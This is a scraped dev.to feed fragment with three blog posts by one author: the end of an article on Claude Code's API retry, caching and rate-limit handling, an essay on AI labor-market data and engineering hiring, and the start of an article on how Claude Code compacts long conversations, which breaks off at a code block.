&lt;p&gt;When a break is detected, the system identifies which snapshot fields changed: model switch, system prompt edit, tool schema addition/removal, speed toggle, beta header change, cache TTL/scope flip. If nothing changed in the snapshot, it infers a time-based cause: over 1 hour since last call (TTL expiry), over 5 minutes (short TTL expiry), or under 5 minutes (server-side eviction).&lt;/p&gt;

&lt;p&gt;A unified diff file is written showing the before/after prompt state. With debug mode enabled, this makes cache break investigation straightforward — you can see exactly which tool schema changed or which system prompt section grew.&lt;/p&gt;

&lt;p&gt;State is tracked per query source with a cap of 10 tracked sources to prevent unbounded memory growth. Short-lived sources (background speculation, session memory extraction) are excluded from tracking — they don't benefit from cross-call analysis.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rate Limits and Early Warnings
&lt;/h2&gt;

&lt;p&gt;After every API response, the client extracts rate limit headers: status (&lt;code&gt;allowed&lt;/code&gt;, &lt;code&gt;allowed_warning&lt;/code&gt;, &lt;code&gt;rejected&lt;/code&gt;), reset timestamp, limit type (&lt;code&gt;five_hour&lt;/code&gt;, &lt;code&gt;seven_day&lt;/code&gt;, &lt;code&gt;seven_day_opus&lt;/code&gt;), overage status, and fallback availability.&lt;/p&gt;

&lt;h3&gt;
  
  
  Early Warnings
&lt;/h3&gt;

&lt;p&gt;Before hitting the actual limit, the client warns users who are burning through quota unusually fast:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;5-hour window:  warn if 90% used but &amp;lt; 72% of time elapsed
7-day window:   warn if 75% used but &amp;lt; 60% of time elapsed
                warn if 50% used but &amp;lt; 35% of time elapsed
                warn if 25% used but &amp;lt; 15% of time elapsed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The intuition: if you've used 90% of your 5-hour quota but only 3.6 hours have passed, you're on pace to hit the wall. The preferred method uses a server-sent &lt;code&gt;surpassed-threshold&lt;/code&gt; header. The client-side time calculation is a fallback.&lt;/p&gt;

&lt;p&gt;False positive suppression: warnings are suppressed when utilization is below 70% (prevents spurious alerts right after a rate limit reset). For team/enterprise users with seamless overage rollover, session-limit warnings are skipped entirely — they'll never hit a wall.&lt;/p&gt;

&lt;h3&gt;
  
  
  Overage Detection
&lt;/h3&gt;

&lt;p&gt;When &lt;code&gt;status&lt;/code&gt; changes from &lt;code&gt;rejected&lt;/code&gt; to &lt;code&gt;allowed&lt;/code&gt; while &lt;code&gt;overageStatus&lt;/code&gt; is also &lt;code&gt;allowed&lt;/code&gt;, the user has silently crossed from subscription quota to overage billing. The client detects this transition and shows a notification: "You're now using extra usage." This matters because overage has its own cost implications.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quota Probing
&lt;/h3&gt;

&lt;p&gt;On startup, a test call checks quota status before the first real query: a single-token request to the smallest model. The call uses &lt;code&gt;.with_response()&lt;/code&gt; to access the raw headers. This lets the UI show rate limit state immediately rather than waiting for the first user message.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Full Round-Trip
&lt;/h2&gt;

&lt;p&gt;Putting it all together, here's one API call:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Message preparation&lt;/strong&gt;: microcompact, autocompact, context collapse&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Request construction&lt;/strong&gt;: system prompt blocks with cache markers, converted messages with cache breakpoints and tool result references, tool schemas, thinking config, beta headers, extra body params&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cache state snapshot&lt;/strong&gt;: hash system prompt, tools, config&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retry wrapper&lt;/strong&gt;: up to 10 attempts with exponential backoff&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Client creation&lt;/strong&gt;: provider-specific SDK with auth, headers, fetch wrapper&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API call&lt;/strong&gt;: streaming request with abort signal and client request ID&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stream processing&lt;/strong&gt;: event-by-event content accumulation, idle watchdog&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tool execution&lt;/strong&gt;: streaming — start tools as they're emitted, before the response completes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Header extraction&lt;/strong&gt;: rate limits, cache metrics, request IDs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cache break analysis&lt;/strong&gt;: compare pre/post token ratios&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cost tracking&lt;/strong&gt;: per-model pricing, session accumulation, persistence&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error recovery&lt;/strong&gt;: 20+ error patterns → specific recovery actions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Query loop&lt;/strong&gt;: process tool results, append to history, loop back&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each turn takes 2–30 seconds. A typical session makes 50–200 calls. The retry system makes those calls resilient to transient failures. The caching system makes them affordable. The error classification system makes failures actionable. And the token counter keeps track of exactly how close you are to the edge of the context window.&lt;/p&gt;

&lt;p&gt;The alternative to this defense-in-depth approach is simpler code that fails in opaque ways — silent cost overruns, mysterious context overflows, and retries that amplify outages instead of weathering them. Every layer described here exists because the simpler version broke in production.&lt;/p&gt;

&lt;p&gt;The key architectural choices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Async generators everywhere&lt;/strong&gt;: The query loop, the retry wrapper, and the stream processor are all async generators. This means every layer can yield events to the UI without blocking. A retry wait yields countdown messages. A compaction yields summary events. The UI stays responsive through multi-minute operations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trust the server's numbers&lt;/strong&gt;: Token counts come from API usage fields, not local tokenization. Cache status is inferred from token ratios, not server state. Cost is calculated from server-reported speed mode, not the client's request. The client doesn't have a tokenizer — it uses character-based estimation for new messages and cross-checks against the server's count on every response.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fail visible, not fail silent&lt;/strong&gt;: Cache breaks are logged with diffs. Cost anomalies fire analytics events. Rate limit transitions trigger notifications. Unknown models get tracked. The system is designed so that degradation is always observable, even if it's not always preventable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Context over rules&lt;/strong&gt;: The retry handler doesn't just ask "is this error retryable?" It asks "is this error retryable for THIS user on THIS provider in THIS mode?" A subscriber hitting 429 is different from an enterprise user hitting 429. A remote environment hitting 401 is different from a local user hitting 401. The same status code gets different treatment depending on context the server can't see.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>api</category>
      <category>claudecode</category>
      <category>architecture</category>
      <category>streaming</category>
    </item>
    <item>
      <title>94% Exposed, 30% Adopted: Why Engineering Leaders Need to Rethink How They Hire</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Tue, 07 Apr 2026 15:37:44 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/94-exposed-30-adopted-the-real-math-behind-ai-and-white-collar-jobs-25lp</link>
      <guid>https://dev.to/oldeucryptoboi/94-exposed-30-adopted-the-real-math-behind-ai-and-white-collar-jobs-25lp</guid>
      <description>&lt;h2&gt;
  
  
  The gap between what AI can do and what it's actually doing is closing. If your hiring process still optimizes for the implementation layer, you're selecting for the part that's being automated.
&lt;/h2&gt;




&lt;p&gt;If you lead a software team, the way you evaluate and hire developers is shifting. Ignore it, and you'll miss strong people or hire for the wrong things.&lt;/p&gt;

&lt;p&gt;This isn't theoretical. Anthropic just released labor market data, and it points to a real change in how we should think about technical talent. 94% of coding tasks could be handled by AI. Only about 30% actually are today. That gap is closing, and it's already changing what a "good developer" looks like.&lt;/p&gt;

&lt;h2&gt;
  
  
  The numbers
&lt;/h2&gt;

&lt;p&gt;Peter McCrory, Anthropic's head of economics, shared more context in Fortune. Their March 2026 report, "Labor Market Impacts of AI: A New Measure and Early Evidence," introduced a framework called "observed exposure" — combining theoretical LLM capability with real-world usage data from Claude.&lt;/p&gt;

&lt;p&gt;The top-line numbers stand out:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Occupation&lt;/th&gt;
&lt;th&gt;Share of tasks AI can perform&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Computer Programmers&lt;/td&gt;
&lt;td&gt;74.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Customer Service Representatives&lt;/td&gt;
&lt;td&gt;70.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data Entry Keyers&lt;/td&gt;
&lt;td&gt;67.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Medical Record Specialists&lt;/td&gt;
&lt;td&gt;66.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Market Research Analysts&lt;/td&gt;
&lt;td&gt;64.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sales Representatives&lt;/td&gt;
&lt;td&gt;62.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Financial &amp;amp; Investment Analysts&lt;/td&gt;
&lt;td&gt;57.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Software QA Analysts &amp;amp; Testers&lt;/td&gt;
&lt;td&gt;51.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Information Security Analysts&lt;/td&gt;
&lt;td&gt;48.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Computer User Support Specialists&lt;/td&gt;
&lt;td&gt;46.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;More than 90% of the work done by tech and finance workers could — in theory — be replaced by AI. But the more important story is underneath.&lt;/p&gt;

&lt;h2&gt;
  
  
  The gap
&lt;/h2&gt;

&lt;p&gt;There hasn't been a clear rise in unemployment for highly exposed roles since late 2022. Adoption in computer and math jobs sits around 33% compared to 94% capability. 30% of workers currently have zero meaningful AI task coverage in the data.&lt;/p&gt;

&lt;p&gt;At the same time, job-finding rates for workers aged 22–25 in exposed roles are down 14%. Goldman Sachs estimates around 16,000 U.S. jobs being cut monthly due to AI, with Gen Z feeling it first.&lt;/p&gt;

&lt;p&gt;The displacement isn't evenly distributed. It's hitting the youngest workers first — the ones with the least leverage, the smallest networks, and the most to prove.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation vs. judgment
&lt;/h2&gt;

&lt;p&gt;McCrory breaks knowledge work into three parts: asking the right questions, implementation, and expert evaluation. The implementation layer is getting saturated by AI. The other two aren't.&lt;/p&gt;

&lt;p&gt;From what I see day to day as a CTO, that tracks.&lt;/p&gt;

&lt;p&gt;The developers doing well right now aren't the ones who memorized the most syntax or can write a perfect binary search on a whiteboard. They're the ones who know what to build, can evaluate outputs, and can tell when AI is wrong. Implementation matters less than it used to. Judgment matters more.&lt;/p&gt;

&lt;h2&gt;
  
  
  That changes how I hire
&lt;/h2&gt;

&lt;p&gt;I'm looking for people who can frame problems clearly, spot when something is off even if it compiles, and guide AI tools without blindly trusting them. People who can think in systems, not just code.&lt;/p&gt;

&lt;p&gt;If your hiring process still rewards speed on basic coding exercises, you're optimizing for a layer that's getting automated. The people you actually need don't always stand out in those interviews.&lt;/p&gt;

&lt;p&gt;McCrory compared this moment to electricity. The real impact didn't come from simply plugging machines in — it came from reorganizing work around it. We're still early in that shift.&lt;/p&gt;

&lt;h2&gt;
  
  
  The window
&lt;/h2&gt;

&lt;p&gt;There's a bigger risk in the background. A downturn for white-collar work is possible. Anthropic's own economist has said as much. It hasn't happened yet, but decisions made now will shape whether it does.&lt;/p&gt;

&lt;p&gt;That 94% vs. 30% gap isn't a comfort zone. It's a window.&lt;/p&gt;

&lt;p&gt;For engineering leaders, using it well means rethinking who you hire, how you evaluate them, and what skills will actually matter soon.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Follow me on &lt;a href="https://x.com/oldeucryptoboi" rel="noopener noreferrer"&gt;X&lt;/a&gt; — I post as &lt;a class="mentioned-user" href="https://dev.to/oldeucryptoboi"&gt;@oldeucryptoboi&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>hiring</category>
      <category>softwareengineering</category>
      <category>futureofwork</category>
    </item>
    <item>
      <title>How Claude Code Manages Infinite Conversations in a Finite Context Window</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Tue, 07 Apr 2026 14:42:45 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/how-claude-code-manages-infinite-conversations-in-a-finite-context-window-4ld0</link>
      <guid>https://dev.to/oldeucryptoboi/how-claude-code-manages-infinite-conversations-in-a-finite-context-window-4ld0</guid>
      <description>&lt;p&gt;Claude Code conversations have no turn limit. You can work for hours — reading files, running tests, debugging, iterating — and the conversation just keeps going. But the model has a fixed context window. At some point, the accumulated messages exceed what the model can process in a single API call.&lt;/p&gt;

&lt;p&gt;The system needs to compress the conversation without losing critical context. Here's how it works, from the source code.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;The naive approach is truncation: drop old messages when the window fills up. This fails immediately. A conversation about building an authentication system might reference a design decision from 50 turns ago. Truncate those turns and the model forgets the decision, re-asks the question, or contradicts what it said earlier.&lt;/p&gt;

&lt;p&gt;A better approach: summarize. Replace the old messages with a summary that preserves the essential information. But summarization introduces its own problems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What to preserve?&lt;/strong&gt; File paths, code snippets, user preferences, error resolutions, pending tasks — all matter. A generic "summarize this conversation" prompt loses critical details.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;When to trigger?&lt;/strong&gt; Too early wastes context window. Too late risks hitting the hard limit and failing the API call.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What about the cache?&lt;/strong&gt; Anthropic's API caches the prompt prefix. Compaction replaces all messages, invalidating the cache. Every token in the new prompt is a cache miss — expensive.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What if the summary itself is too long?&lt;/strong&gt; If the conversation is so large that even the compaction request exceeds the context window, you need a fallback.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Claude Code solves these with a three-tier system. Microcompact clears stale tool results without calling the model. Full compact summarizes the entire conversation with a dedicated model call. Session memory compact uses pre-extracted notes to skip the summarization call entirely. Each tier is progressively more aggressive and more expensive.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to Compact
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Threshold
&lt;/h3&gt;

&lt;p&gt;Auto-compact fires when the conversation's token count exceeds a threshold. The threshold is calculated as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;effectiveWindow&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;contextWindow&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;maxOutputTokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20_000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;autoCompactThreshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;effectiveWindow&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;13_000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For a 200K context window model, this works out to roughly 167K tokens. The 20K reserve ensures the model has room to generate the summary. The 13K buffer provides headroom — the system checks BEFORE each API call, so the actual token count may grow by a full model response between checks.&lt;/p&gt;

&lt;p&gt;The threshold can be overridden via environment variables for testing. A percentage-based override lets you trigger compaction earlier (useful for observing the system's behavior on shorter conversations).&lt;/p&gt;

&lt;h3&gt;
  
  
  Token Counting
&lt;/h3&gt;

&lt;p&gt;The canonical function for context size is &lt;code&gt;tokenCountWithEstimation&lt;/code&gt;. It works in two parts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Find the last API response&lt;/strong&gt;: Walk backward through messages to find the most recent assistant message that has a &lt;code&gt;usage&lt;/code&gt; field (reported by the API). This gives the exact token count at that point in the conversation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Estimate new messages&lt;/strong&gt;: For any messages added AFTER the last API response, estimate their token count. Text blocks use a rough &lt;code&gt;length / 4&lt;/code&gt; heuristic (one token per ~4 characters). Images and documents get a flat 2,000-token estimate. Tool use blocks count the tool name plus JSON-serialized input. The total estimate is padded by 4/3 (33% conservative buffer). Add this to the API-reported count.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A subtlety: when the model makes multiple parallel tool calls, each becomes a separate assistant message interleaved with tool results. The messages look like: &lt;code&gt;[..., assistant(id=A), toolResult, assistant(id=A), toolResult, ...]&lt;/code&gt;. All of these share the same message ID because they came from one API response. The token counter must walk back to the FIRST message with matching ID to anchor correctly — stopping at the last one would miss the interleaved tool results and undercount.&lt;/p&gt;

&lt;p&gt;The total context count includes input tokens, cache creation tokens, cache read tokens, and output tokens. This represents the actual context window consumption, which is what matters for threshold comparison. Using only &lt;code&gt;input_tokens&lt;/code&gt; would undercount because cached tokens still occupy the window.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Circuit Breaker
&lt;/h3&gt;

&lt;p&gt;If compaction fails three times consecutively, auto-compact stops trying. This circuit breaker prevents runaway API costs. Before the breaker, telemetry showed 1,279 sessions with 50+ consecutive failures, wasting approximately 250,000 API calls per day. The breaker resets on any successful compaction.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recursion Guards
&lt;/h3&gt;

&lt;p&gt;Auto-compact skips triggering when the query source is &lt;code&gt;compact&lt;/code&gt; (would deadlock — compaction triggering compaction) or &lt;code&gt;session_memory&lt;/code&gt; (would deadlock — memory extraction happens in a forked subagent that shares the token counter).&lt;/p&gt;

&lt;h2&gt;
  
  
  Tier 1: Microcompact
&lt;/h2&gt;

&lt;p&gt;Microcompact is the cheapest intervention. No model call. No summarization. It just clears old tool results that the model no longer needs, reclaiming tokens.&lt;/p&gt;

&lt;h3&gt;
  
  
  Time-Based Clearing
&lt;/h3&gt;

&lt;p&gt;The API prompt cache has a TTL of roughly one hour. When the user returns after an idle period, the entire cached prefix is gone — every token will be re-processed anyway. This is the ideal time to clear stale tool results, because there's no cache to preserve.&lt;/p&gt;

&lt;p&gt;The trigger:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;gap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;lastAssistantMessage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;60_000&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;gap&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;gapThresholdMinutes &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;clear&lt;/span&gt; &lt;span class="n"&gt;old&lt;/span&gt; &lt;span class="n"&gt;tool&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;"Clear" means replacing the content of &lt;code&gt;tool_result&lt;/code&gt; blocks for compactable tools (file reads, shell output, grep results, glob results, web fetches, web searches, edits, writes) with the text &lt;code&gt;[Old tool result content cleared]&lt;/code&gt;. The system keeps the N most recent results (default: 5) and clears the rest.&lt;/p&gt;

&lt;p&gt;This is a mutation of the message array. The cleared results are gone. But since the cache was already expired, there's no cost — the full conversation will be re-tokenized regardless.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cached Microcompact
&lt;/h3&gt;

&lt;p&gt;When the prompt cache is still warm, mutating messages would invalidate the cached prefix. Instead, the system uses the API's &lt;code&gt;cache_edits&lt;/code&gt; feature to delete tool results server-side. The local message array stays unchanged, but the API receives a &lt;code&gt;cache_edits&lt;/code&gt; block that instructs the server to remove specific tool results by their cache reference IDs.&lt;/p&gt;

&lt;p&gt;The state machine tracks three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;registeredTools&lt;/strong&gt;: Set of all tool_use IDs seen (deduplicated)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;toolOrder&lt;/strong&gt;: List of tool_use IDs in encounter order (FIFO for deletion priority)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;deletedRefs&lt;/strong&gt;: Set of IDs already deleted (prevents re-deletion)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;activeTools&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toolOrder&lt;/span&gt; &lt;span class="n"&gt;filtered&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;NOT&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;deletedRefs&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;activeTools&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nf"&gt;triggerThreshold &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="nf"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;enough&lt;/span&gt; &lt;span class="n"&gt;tools&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;justify&lt;/span&gt; &lt;span class="n"&gt;clearing&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;toDelete&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;activeTools&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;..&lt;/span&gt; &lt;span class="n"&gt;activeTools&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;keepRecent&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;toDelete&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;add&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;deletedRefs&lt;/span&gt;
  &lt;span class="n"&gt;create&lt;/span&gt; &lt;span class="n"&gt;cache_edit&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;delete&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cache_reference&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nf"&gt;pendingCacheEdits &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;applied&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;API&lt;/span&gt; &lt;span class="n"&gt;layer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The cache edits are "pinned" — once queued, they're re-sent on every subsequent API call for as long as the cache hit persists. This is necessary because cache edits are relative to the cached prefix, not absolute. If the server cache is hit, the pinned edits tell it which blocks to skip.&lt;/p&gt;

&lt;p&gt;If the cache expires (detected by a drop in &lt;code&gt;cache_read_input_tokens&lt;/code&gt;), the pinned edits become stale. The system falls through to time-based clearing on the next idle gap. The pinned edits are also cleared during full compaction's post-compact cleanup.&lt;/p&gt;

&lt;p&gt;The system also captures the baseline &lt;code&gt;cache_deleted_input_tokens&lt;/code&gt; from the last assistant message. This baseline is needed by the cache break detection system — without it, the token drop from cached edits would trigger a false "cache break" warning.&lt;/p&gt;

&lt;h3&gt;
  
  
  Compactable Tools
&lt;/h3&gt;

&lt;p&gt;Not all tool results are safe to clear. The system maintains an allowlist:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;File reads&lt;/strong&gt; — the file can be re-read&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shell output&lt;/strong&gt; — the output is ephemeral&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Grep/glob results&lt;/strong&gt; — search results can be re-run&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Web fetch/search&lt;/strong&gt; — fetched content can be re-fetched&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;File edits/writes&lt;/strong&gt; — the confirmation output is disposable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tool results from other tools (like user questions, notebook edits, or task management) are NOT cleared — their content may be unreproducible.&lt;/p&gt;

&lt;h3&gt;
  
  
  API-Native Context Management
&lt;/h3&gt;

&lt;p&gt;Beyond local microcompact, the system can also request that the API itself manage context. This uses the &lt;code&gt;context_management&lt;/code&gt; field in API requests to specify edit strategies:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tool result clearing&lt;/strong&gt;: When input tokens exceed a trigger threshold (default: 180K), the API clears tool results from specific tools (file reads, shell output, grep, glob, web fetches, web searches), keeping the most recent results up to a target token budget (default: 40K). The &lt;code&gt;clear_at_least&lt;/code&gt; parameter ensures a minimum number of tokens are freed — clearing one small tool result when the context is at 180K wouldn't help.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tool use clearing&lt;/strong&gt;: A separate strategy for edit/write tools. Rather than clearing their inputs, it excludes their entire tool_use blocks. The distinction matters: for read-like tools, the large output (file content, shell output) is the waste. For write-like tools, the large input (new file content) is the waste.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thinking clearing&lt;/strong&gt;: For models with extended thinking, old thinking blocks are the largest tokens-per-message contributor. When the user has been idle for over an hour (cache expired anyway), only the last thinking turn is kept. During active use, all thinking turns are preserved.&lt;/p&gt;

&lt;p&gt;These strategies compose — multiple edit strategies can be active simultaneously, each targeting a different category of clearable content.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tier 2: Full Compact
&lt;/h2&gt;

&lt;p&gt;When microcompact isn't enough — the conversation has genuinely grown past the threshold — the system performs a full compaction. This calls the model to summarize the entire conversation history.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pre-Processing
&lt;/h3&gt;

&lt;p&gt;Before the conversation is sent for summarization, two pre-processing steps run:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Image stripping&lt;/strong&gt;: All image and document blocks are removed from user messages, replaced with an &lt;code&gt;[image]&lt;/code&gt; text marker. Images are large (potentially thousands of tokens each) and not useful for text summarization. The stripping also handles images nested inside tool_result content arrays — a tool might return screenshots that are irrelevant to the summary.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attachment stripping&lt;/strong&gt;: Skill discovery and skill listing attachments are removed before summarization. These are re-injected post-compact anyway, so including them in the summarization input wastes tokens — the model would summarize content that's about to be restored verbatim.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Summarization Prompt
&lt;/h3&gt;

&lt;p&gt;The prompt is the most interesting part. It demands a specific structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
